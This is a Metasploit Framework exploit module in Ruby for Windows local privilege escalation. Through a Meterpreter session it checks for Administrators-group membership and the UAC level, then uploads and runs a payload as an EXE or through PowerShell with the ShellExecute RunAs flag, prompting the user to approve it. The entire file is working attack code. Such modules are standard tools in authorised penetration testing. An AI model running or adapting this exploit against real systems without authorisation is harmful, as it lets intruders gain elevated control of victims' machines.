metasploit-framework/modules/exploits/windows/local/ask.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Escalate UAC Execute RunAs',
      'Description'   => %q{
        This module will attempt to elevate execution level using
        the ShellExecute undocumented RunAs flag to bypass low
        UAC settings.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'mubix', # Original technique
          'b00stfr3ak' # Added powershell option
      ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [ [ 'Windows', {} ] ],
      'DefaultTarget' => 0,
      'References'    => [
        [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
      ],
      'DisclosureDate'=> "Jan 3 2012",
    ))

    register_options([
      OptString.new("FILENAME", [ false, "File name on disk"]),
      OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
      OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]),
      OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]),
    ])

  end

  def check
    session.readline
    print_status('Checking admin status...')
    admin_group = is_in_admin_group?
    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
      return Exploit::CheckCode::Unknown
    else
      if admin_group
        print_good('Part of Administrators group! Continuing...')
        return Exploit::CheckCode::Vulnerable
      else
        print_error("Not in admins group, cannot escalate with this module")
        return Exploit::CheckCode::Safe
      end
    end
  end

  def exploit
    admin_check = check
    if admin_check.join =~ /safe/
      fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
    end
    if is_uac_enabled?
      print_status "UAC is Enabled, checking level..."
    else
      if is_in_admin_group?
        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
      else
        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
      end
    end
    case get_uac_level
      when UAC_NO_PROMPT
        print_good "UAC is not enabled, no prompt for the user"
      else
        print_status "The user will be prompted, wait for them to click 'Ok'"
    end
    #
    # Generate payload and random names for upload
    #
    case datastore["TECHNIQUE"]
      when "EXE"
        execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"])
      when "PSH"
        execute_psh
    end
  end
end